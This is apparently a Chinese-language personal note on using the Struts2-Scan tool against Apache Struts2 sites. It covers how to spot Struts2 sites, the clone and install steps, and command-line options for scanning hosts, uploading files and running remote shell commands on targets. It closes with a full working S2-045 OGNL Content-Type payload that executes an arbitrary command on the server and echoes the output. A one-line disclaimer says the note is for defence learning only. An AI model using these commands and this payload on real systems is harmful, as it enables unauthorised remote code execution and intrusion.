【笔记】Struts2-Scan漏洞扫描

前言

Struts2漏洞利用扫描工具,基于互联网上已经公开的Structs2高危漏洞exp的扫描利用工具,目前支持的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057(Github

本文仅用于网络信息防御学习

使用了Struts2框架的站点判定

  • 页面后缀如果以.do.action结尾
  • 如果开启了devMode,可以访问/struts/webconsole.html页面

下载项目

1
2
git clone https://github.com/HatBoy/Struts2-Scan.git
cd Struts2-Scan

下载依赖

1
pip3 install click requests bs4

漏洞扫描

根据指定ip和端口扫描

-u <ip>:指定IP地址

1
python3 Struts2Scan.py -u <ip>

根据文件批量扫描

-f <file>:指定IP及端口列表文件

1
python3 Struts2Scan.py -f <file>

上传文件

<file>:需要上传的文件路径

1
python3 Struts2Scan.py -u <ip> --upfile <file>

上传目录

<dir>:需要上传的目录路径

1
python3 Struts2Scan.py -u <ip> --uppath <file>

远程执行

<shell>:远程执行的Shell命令

1
2
python3 Struts2Scan.py -u <ip> -e <shell>
python3 Struts2Scan.py -u <ip> --exec <shell>

S2-045漏洞利用

  • 如果站点使用了文件上传插件,可以在上传文件后,将请求头的Content-Type数据修改

<command>:远程执行的Shell命令

1
Content-Type:"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='<command>').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

完成

参考文献

哔哩哔哩——网络安全白帽子
博客园——My_Dreams